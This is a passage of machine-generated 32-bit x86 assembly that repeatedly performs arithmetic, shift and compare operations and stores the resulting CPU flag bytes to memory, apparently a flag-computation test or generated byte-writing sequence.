mov edx, 0xdd8c40bf
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1fa71914
mov ecx, 0x70667c25
sal eax, cl
mov eax, 0xf437c59
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x684a463c
mov ecx, 0xb9b54f82
rol ebx, cl
mov eax, 0xb28437e9
rol eax, 1
mov ebx, 0x7a254896
shl ebx, 1
mov ebx, 0x6b232147
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xef05c32f
sal edx, 0x67
mov edx, 0xd12be157
mov ecx, 0xa57aa332
sar edx, cl
mov eax, 0x67cc5930
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xe0c7b515
add edx, 0x86f425b7
mov eax, 0x5f1983ce
aaa
mov eax, 0x70cb4760
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x67f22b28
mov ecx, 0xcefd34b5
rol eax, cl
mov eax, 0xd3317baf
mov ecx, 0xf3d85c1c
rol eax, cl
mov eax, 0x40bd7dd1
mov ecx, 0xb0143508
ror eax, cl
mov ecx, 0x98f14884
mov eax, 0xbcd6c274
sub ecx, eax
mov eax, 0x727d8894
mov ecx, 0x90d41676
rol eax, cl
mov eax, 0x685970be
mov ebx, 0xbc1e52b3
cmp eax, ebx
mov eax, 0x2148cb65
sub eax, 0x4be16fe3
mov edx, 0x141c8ca9
add edx, 0x482511c6
mov edx, 0x817b8b52
mov ecx, 0xa50a9cc3
rol edx, cl
mov ebx, 0xda2df613
mov ecx, 0x944cc19
rol ebx, cl
mov edx, 0x2936a33f
add edx, 0x30375637
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xef2f15b5
mov ecx, 0x290e1ac6
ror ebx, cl
mov ecx, 0x4072cf17
dec ecx
mov ebx, 0x1617aca1
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x40e78fe1
add eax, 0x3494be59
mov edx, 0xe042fef7
mov ecx, 0xb68d8ad1
rol edx, cl
mov ecx, 0x25c1d422
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x384da5e7
mov ecx, 0x8be4f704
rol eax, cl
mov ebx, 0xa6f8d53
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1fee4d5
sub eax, 0x6d5f5dc1
mov eax, 0x807be7b9
aaa
mov ebx, 0x632922c1
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x489c581d
sar ebx, 0x68
mov ecx, 0x9ad29e3f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x10cc6e12
aaa
mov edx, 0xf79130fd
mov ecx, 0x6db828b5
ror edx, cl
mov ebx, 0xbece505b
rol ebx, 1
mov edx, 0xf9daacf8
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xfcc141ef
inc ebx
mov edx, 0x55b52a73
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3ef0d43d
sub ebx, 0x1c69a4e1
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x45c624fd
inc ecx
mov edx, 0xe723bd29
mov ecx, 0xf852a777
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xcee48055
mov ecx, 0x9277de01
ror edx, cl
mov eax, 0x3492db1
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x15bd08b7
neg edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x9dd6e3b7
dec ecx
mov eax, 0xda2978bd
mov ecx, 0x5bb0ac43
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1096f0aa
shl edx, 1
mov ebx, 0xf3cc49df
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x49f74954
mov ecx, 0x91f6601d
rol edx, cl
mov eax, 0xaed07ce4
aaa
mov ebx, 0x3d0bf4e2
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x83df759d
mov ecx, 0x627e99d1
ror eax, cl
mov edx, 0xebad85f5
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x145c21b5
sub eax, 0xe365a175
mov eax, 0x50e14566
aaa
mov ecx, 0x9cc787dc
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x45b7cee0
dec ecx
mov eax, 0x1c89f038
mov ecx, 0xab9041cd
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x276610aa
dec eax
mov eax, 0x53f21ba1
mov ecx, 0xeafda10e
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1ebbb2cb
inc ebx
mov edx, 0x8184c550
mov ecx, 0xeb970c82
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xc25a3610
neg edx
mov eax, 0x36677eec
aaa
mov ebx, 0x7d37907d
mov ecx, 0x8a36ceaa
rol ebx, cl
mov eax, 0xdc2f4ed8
add eax, 0x423ce0c6
mov eax, 0x9cd42c2a
aaa
mov eax, 0x2f1fc03f
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x5b96029b
rol eax, 1
mov eax, 0x8c2bfb42
mov ecx, 0x6c7a7977
ror eax, cl
mov ebx, 0xf5da970
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc830b449
mov ecx, 0xb1732307
sal eax, cl
mov eax, 0xa7e178b4
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x62de8717
mov edx, 0xecbf7ac8
add ecx, edx
mov eax, 0x9d38971e
sal eax, 0x56
mov edx, 0xdb50f45b
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x7d7b3716
sal ebx, 1
mov eax, 0x7657f205
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe7aeeb29
mov ecx, 0xc8296c6a
ror edx, cl
mov edx, 0xd990f69
mov ebx, 0x985eef35
sub edx, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x4b4b6a25
mov ebx, 0x1928d5d4
cmp ecx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x9dbe88f8
cmp ecx, 0x3e1f50df
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x78b3583a
inc edx
mov edx, 0xd65dc6a9
mov ecx, 0x9834a475
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x6c01f13f
cmp ecx, 0x7aa6d4af
mov eax, 0x9b3237c8
aaa
mov ebx, 0x44067201
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xcb7844ab
cmp eax, 0x62516bf4
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc4234219
mov ecx, 0x2952fef9
rol eax, cl
mov ebx, 0x90aab004
mov ecx, 0xc79535ea
ror ebx, cl
mov edx, 0xfc132013
mov ecx, 0x8b02d07a
rol edx, cl
mov ebx, 0x35e759b
mov ecx, 0x449981a5
rol ebx, cl
mov ebx, 0x5b378938
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x7a2fcc51
mov ecx, 0xe61bd
ror eax, cl
mov edx, 0x1c7da176
neg edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xbc0f3037
shl ebx, 0xed
mov ebx, 0x20219322
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xfa0bd373
sub edx, 0xe88e13
mov eax, 0xd6326749
aas
mov ebx, 0xf98ac661
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8fcf0f8f
shl ebx, 1
mov eax, 0xa9c76397
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x38deffe2
mov ecx, 0xe0191759
rol edx, cl
mov ebx, 0x5ef90575
shl ebx, 1
mov ebx, 0x404aaaf1
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2cb9089f
sal eax, 3
mov eax, 0x470ad385
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x9b44147d
aaa
mov eax, 0x396b6bc3
inc eax
mov eax, 0x147aa5a
mov ecx, 0x5486bf75
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeb369d81
sar ebx, 0xaa
mov edx, 0x4258130f
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x839e8de
rol edx, 1
mov ebx, 0x718fe7b
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x1092579f
mov eax, 0xba63a8b2
sub ecx, eax
mov eax, 0xbd55b62
aaa
mov edx, 0x68cb24a2
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe39f58d9
inc edx
mov eax, 0x8bd89d99
mov ecx, 0x1abbfc83
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x5fb429ab
inc eax
mov ebx, 0xc3203578
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xba13da20
neg ebx
mov ebx, 0xdf556b81
mov edx, 0x2d6aa916
sub ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x47c561fa
mov eax, 0xc51a80cc
cmp edx, eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xf77065b6
mov ecx, 0x15b302bb
ror ebx, cl
mov edx, 0x2465ee0
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xe4fff338
rol eax, 1
mov ebx, 0x74f79810
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x25e2b730
neg ebx
mov eax, 0x66651cb0
aaa
mov eax, 0x3e18d46
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbb8c6bf4
mov ecx, 0x28bfec5b
rol eax, cl
mov eax, 0x91db4823
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xbfaf0a75
inc eax
mov edx, 0x6c1ea2f
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x7620f350
dec eax
mov eax, 0xe9381b02
mov ecx, 0x119bea2c
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xcd4942da
mov ecx, 0xa7506efd
ror ebx, cl
mov ecx, 0xe87c571d
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x69b2ecc9
rol edx, 1
mov edx, 0xad0cec5f
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8136c94d
aas
mov ebx, 0x90d3a66f
dec ebx
mov edx, 0x672fcb98
mov ecx, 0x810e7947
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1872ae59
mov eax, 0x54c33b8e
sub ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x68583ffa
mov ecx, 0x993b4fa3
ror eax, cl
mov eax, 0x21e9a91f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcfa0629c
mov ecx, 0x5759f9c7
cmp ebx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xc893c40b
cmp ebx, 0x60d084d3
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe6b68227
mov ecx, 0xbe51e484
shl eax, cl
mov ebx, 0x5d9030be
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x24a7f3df
sar ebx, 0xd5
mov edx, 0x52ecb8eb
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x6bd466e
mov ecx, 0xa4b2b614
sub eax, ecx
mov eax, 0xe55f38d9
aas
mov ecx, 0x180a5ce8
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x40e5c85b
mov ecx, 0x77dc9887
ror edx, cl
mov eax, 0xe4729bb
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x98e94c8e
dec eax
mov ebx, 0xea88b446
mov ecx, 0x62b2205
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x658af590
dec ebx
mov edx, 0x34653c12
mov ecx, 0x95c28bc
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x70ea96a9
mov ecx, 0x8fdb8588
cmp eax, ecx
mov ebx, 0x2c4ee8fe
mov eax, 0xd16fb80c
sub ebx, eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x8b9fe3a
inc eax
mov eax, 0xb30a434b
mov ecx, 0x7775b4e9
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x202d3946
mov ecx, 0xa7440b30
rol ebx, cl
mov edx, 0x27e56f08
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xe6e3b2e9
mov ecx, 0xa8e0a882
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x70c2ce07
shl edx, 1
mov ebx, 0x79ca04f0
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x41edd3ae
dec edx
mov edx, 0xc70fddb0
mov ecx, 0xf46e85c7
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x713d4a59
sub eax, 0xfd32fac3
mov eax, 0xba7e2330
aas
mov edx, 0x23ada3ee
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1b650f3d
mov ecx, 0x2c5cc9b6
ror ebx, cl
mov eax, 0xaaf42da9
mov ecx, 0x14c722aa
ror eax, cl
mov eax, 0xb2490319
mov ecx, 0x508105
sal eax, cl
mov ecx, 0x618185c0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf46b705a
mov edx, 0xdbc8c2f4
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8e9947fa
mov ecx, 0x5be0adc9
ror ebx, cl
mov eax, 0x447a6222
mov ecx, 0xa8a51102
ror eax, cl
mov eax, 0x2a21a31a
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xfc59abac
mov eax, 0xc01e9360
sub ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x15bbb4bf
rol eax, 1
mov eax, 0xfe961332
mov ecx, 0x4a17b44c
cmp eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x8121f655
shl edx, 1
mov ecx, 0x3359321c
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xf4911e4f
sal eax, 1
mov ecx, 0x4493199d
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xcdb1752
mov ecx, 0xc1ea65e6
ror eax, cl
mov edx, 0x12b62c67
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xc289996f
mov ecx, 0x29901024
ror ebx, cl
mov eax, 0x1531032a
mov ecx, 0x24160046
add eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcc8f5683
mov ecx, 0x9feee095
rol ebx, cl
mov ebx, 0xf41394e6
sub ebx, 0xe6505e65
mov eax, 0x177c6e4b
aas
mov eax, 0x204f68a0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc3e39e1e
mov ebx, 0xc1e0d75a
sub edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd337d083
cmp edx, 0xe0a44605
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x49969f9c
shl ebx, 1
mov ebx, 0xb4cc0b90
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xd164605e
mov ecx, 0xef7555b
ror ebx, cl
mov eax, 0xe8fc7110
mov ecx, 0xe5efc41e
rol eax, cl
mov ebx, 0x7b7e533a
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x33f47e64
shl edx, 5
mov ebx, 0x9b60008a
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8bdb7ca2
rol eax, 1
mov ecx, 0x918deaf4
dec ecx
mov ebx, 0xb9894425
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xfa7a527
cmp ecx, 0xbc54ba90
mov eax, 0x49c08967
aas
mov ebx, 0x90d8676c
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x4aeed6c3
rol ebx, 1
mov ebx, 0xe0089311
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x264ccbb2
sub ebx, 0xa695ed4d
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x62e3bce8
inc ecx
mov eax, 0x4a3f0634
mov ecx, 0xc65ea8c7
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd610c4ef
mov ecx, 0x35098db7
add eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xbdd438e7
sub edx, 0x9b7d7c7a
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbd35f446
mov ecx, 0xf36c4d5c
ror edx, cl
mov edx, 0x44043660
mov ecx, 0x2817adc6
rol edx, cl
mov eax, 0xa06e1c4e
mov ecx, 0xebe9883f
ror eax, cl
mov eax, 0xec2c4e69
aas
mov ebx, 0x40a8d6bd
mov ecx, 0x60cb58e4
ror ebx, cl
mov edx, 0xbf54aff9
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf5eedb7c
mov eax, 0x6a8f2b37
cmp edx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xfb767436
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x12f8135b
sal edx, 7
mov ecx, 0x29d33bf3
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x9d1aaaab
mov ecx, 0x7fc58f2d
rol eax, cl
mov ebx, 0x923bc841
shl ebx, 1
mov edx, 0x1717f1ad
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb4a0252c
add edx, 0xd859c6d1
mov eax, 0x77b8d758
aas
mov ecx, 0xecf75553
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x46adcae7
sub edx, 0xfde272cf
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x673ab22f
rol edx, 1
mov eax, 0x7fc70178
aas
mov eax, 0x6884d1d1
aaa
mov ebx, 0xb8256904
mov ecx, 0x441c391b
ror ebx, cl
mov edx, 0xfb980b1f
inc edx
mov eax, 0xa5b0329e
mov ecx, 0x94f3f357
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd747edc6
sub ecx, 0x7b745b2b
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb358b43
mov ecx, 0xb96cd881
shl eax, cl
mov eax, 0x25b1e1a6
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x82707dc9
rol edx, 1
mov ebx, 0xb22ceec4
rol ebx, 1
mov eax, 0x4dade8c0
sub eax, 0xf8e2b259
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xfe7418e4
shl ebx, 1
mov ebx, 0x2f103a90
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd0288382
mov ecx, 0x7e4b9110
ror ebx, cl
mov ecx, 0x667afb1a
mov eax, 0xfe2b31d2
sub ecx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xef1523f1
inc ecx
mov ebx, 0x67915f8f
mov ecx, 0x9db8f9e6
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa9daa466
rol edx, 1
mov eax, 0x87db197c
mov ecx, 0x48ea2292
ror eax, cl
mov edx, 0xb42d77f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x844a65a0
dec ebx
mov ebx, 0x5dabba73
rol ebx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x4281237e
mov ebx, 0xcf26c5cb
cmp eax, ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x6c5f30f3
mov ecx, 0x9cfe63a3
ror eax, cl
mov eax, 0x4dd6143c
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4a29e065
mov ecx, 0x8bb03522
ror ebx, cl
mov ebx, 0x7f6c3556
mov ecx, 0x101feb9c
rol ebx, cl
mov ebx, 0x2e85f0b9
mov ecx, 0x17fc3758
rol ebx, cl
mov ebx, 0xd57813a0
mov ecx, 0x6db3299
rol ebx, cl
mov ecx, 0xb64da342
mov edx, 0x45026381
sub ecx, edx
mov eax, 0x620598fd
aas
mov ebx, 0xec6bb330
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x153f93af
inc ebx
mov eax, 0xf80d973d
mov ecx, 0x72a4e203
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xe26c2a62
add ebx, 0x8035b89f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x13043255
aas
mov edx, 0xe0a507b1
mov ecx, 0xbe9c0c19
rol edx, cl
mov eax, 0x65c93f60
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6c0b4d35
aas
mov eax, 0x9fb6cba3
mov ecx, 0xbb512627
rol eax, cl
mov edx, 0x29a7c6e6
shl edx, 1
mov edx, 0xe76f5a69
mov ecx, 0xda4e50e9
rol edx, cl
mov eax, 0xb5e973d0
aaa
mov ecx, 0x831e8610
mov eax, 0x27ff242f
cmp ecx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xfc857c43
sal eax, 1
mov edx, 0x70948569
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe4e26279
mov ecx, 0x80737a6f
cmp edx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x3b255bf6
mov edx, 0xa4fa517a
add eax, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x8d203568
rol eax, 1
mov edx, 0x14e5816e
shl edx, 0x91
mov edx, 0x1a616e70
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xfb107ccd
mov edx, 0xf6092492
add ebx, edx
mov eax, 0x5d413526
aaa
mov eax, 0x4840621e
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xdfe26aff
mov ecx, 0x70adfc41
shl eax, cl
mov edx, 0x49ebfd2b
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x592d024
rol eax, 1
mov eax, 0x258c9285
aas
mov edx, 0x9bc2d63
sar edx, 0x56
mov edx, 0xa2ee53e0
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x6b7b1b30
mov ecx, 0xf70a2f1e
ror ebx, cl
mov ecx, 0x445788d0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x674f3399
add edx, 0x3edcabe5
mov ecx, 0xc53d5af0
cmp ecx, 0xc1321eca
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x77adc302
mov edx, 0xdae24551
sub ebx, edx
mov edx, 0x895ecd40
mov ecx, 0x2299ddf5
rol edx, cl
mov edx, 0xc228248b
sar edx, 0xbd
mov eax, 0x5993a453
sub eax, 0x1dd0f77a
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd5e2a16f
mov ecx, 0x1d739e95
sub eax, ecx
mov eax, 0x3f3a69f2
aas
mov ecx, 0x73e1550b
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xbe19b5c5
mov ebx, 0xbede0573
sub eax, ebx
mov eax, 0xb5fa9b16
rol eax, 1
mov edx, 0x4387557c
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x913e1d7
shl eax, 1
mov eax, 0x236f639f
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x4c81ad57
dec ecx
mov eax, 0xb480e0e4
rol eax, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xa76b1224
mov eax, 0x12c88c60
cmp ecx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xf655c068
sal eax, 1
mov edx, 0xc1a47f30
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xfd27d8aa
mov eax, 0xdbd40d19
cmp ecx, eax
mov eax, 0x98794efb
aas
mov edx, 0x38c9b1ef
mov ecx, 0x90d0b03a
rol edx, cl
mov ebx, 0xa70b97d5
mov ecx, 0xa6daf50c
rol ebx, cl
mov ebx, 0xec8395a9
mov ecx, 0x3732b949
ror ebx, cl
mov ebx, 0x8d90aed5
mov ecx, 0xb0532cbb
ror ebx, cl
mov edx, 0x196606de
mov ecx, 0x4dc1c21e
rol edx, cl
mov ebx, 0xbb7c2ef2
sal ebx, 1
mov eax, 0xdee6c7bf
inc eax
mov eax, 0xe4be1691
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x74b16206
mov ecx, 0x2b58780b
rol ebx, cl
mov eax, 0xc3b3772a
rol eax, 1
mov eax, 0x1f915d58
shl eax, 1
mov ebx, 0x23cd4c4e
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x70d52e5c
mov ecx, 0xb18cb270
rol ebx, cl
mov edx, 0x3eb7ca6d
rol edx, 1
mov eax, 0x15cb1acd
rol eax, 1
mov eax, 0x43a79895
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x3a7f22bf
mov edx, 0xca4c8c78
add ecx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdc4e3650
sal ebx, 1
mov ecx, 0xcfbeb884
mov edx, 0x881ff2cc
add ecx, edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xa2b39285
mov ecx, 0x282274e6
rol ebx, cl
mov eax, 0x369141df
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x26c91599
dec eax
mov edx, 0x66850684
mov ecx, 0x2ffcd4ed
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x82940d09
mov ecx, 0x6e7d10a
rol ebx, cl
mov edx, 0xebdf39d6
rol edx, 1
mov eax, 0x51718ef7
rol eax, 1
mov ebx, 0x1c8e30e0
dec ebx
mov ebx, 0x739af2c5
mov ecx, 0xa045bbc6
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x24b52a29
inc ecx
mov edx, 0xc98498da
mov ecx, 0x53977a29
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1e8fce9d
inc ebx
mov ebx, 0x53dd3ccc
mov ecx, 0x9bb49ac5
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xeddc02dd
mov ecx, 0x724f435b
rol ebx, cl
mov ebx, 0x9bc2c3c0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7515af02
mov ecx, 0x1ecc6c17
rol edx, cl
mov eax, 0xda8248d8
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x9656eb58
mov ecx, 0xe871c091
sar edx, cl
mov ecx, 0xf38d0f2f
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x745cb2d
inc ecx
mov edx, 0xb1439b2a
mov ecx, 0x16f2c873
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x924a61da
rol ebx, 1
mov ebx, 0xa3501566
mov edx, 0x19490256
cmp ebx, edx
mov eax, 0x255abd34
aas
mov eax, 0x5b2a212
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdf98480e
cmp ebx, 0xb3f1be05
mov ebx, 0xc0c3214c
mov ecx, 0xb4722b9d
ror ebx, cl
mov edx, 0x86efa282
mov ecx, 0x47cea08b
ror edx, cl
mov ecx, 0x407ede3f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x5965a495
add edx, 0x63a5df2
mov eax, 0x62c7aa90
aaa
mov ebx, 0x501df46e
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x8bb7a111
dec eax
mov ebx, 0x2c53a529
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe77f4f2f
mov ecx, 0x909e90a6
rol eax, cl
mov edx, 0x7011ad87
mov ecx, 0x7838910f
rol edx, cl
mov edx, 0x1049a3df
rol edx, 1
mov edx, 0x9db9bf0f
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x7298b46b
rol edx, 1
mov eax, 0x164bc73
mov ecx, 0xfef7e161
shl eax, cl
mov eax, 0x9b8535ee
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x79395d00
neg ecx
mov eax, 0xb92c7234
aas
mov eax, 0xc55c666e
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x8cea480f
mov edx, 0x7bdbd28a
add ecx, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xcc904682
aas
mov eax, 0x18172955
sal eax, 0xc6
mov ecx, 0x5be989d7
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb12b0c0f
aas
mov edx, 0x1aa3bd97
rol edx, 1
mov edx, 0x44644f8a
sub edx, 0xc6cd480d
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x285790a
mov ecx, 0xbbfc65d7
rol edx, cl
mov eax, 0x58b6a5cb
mov ecx, 0xb8515fa6
rol eax, cl
mov eax, 0xe432330
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x53d8240f
mov ecx, 0x2bbaf93
shl edx, cl
mov edx, 0xd5849d11
inc edx
lahf
xchg ah, al
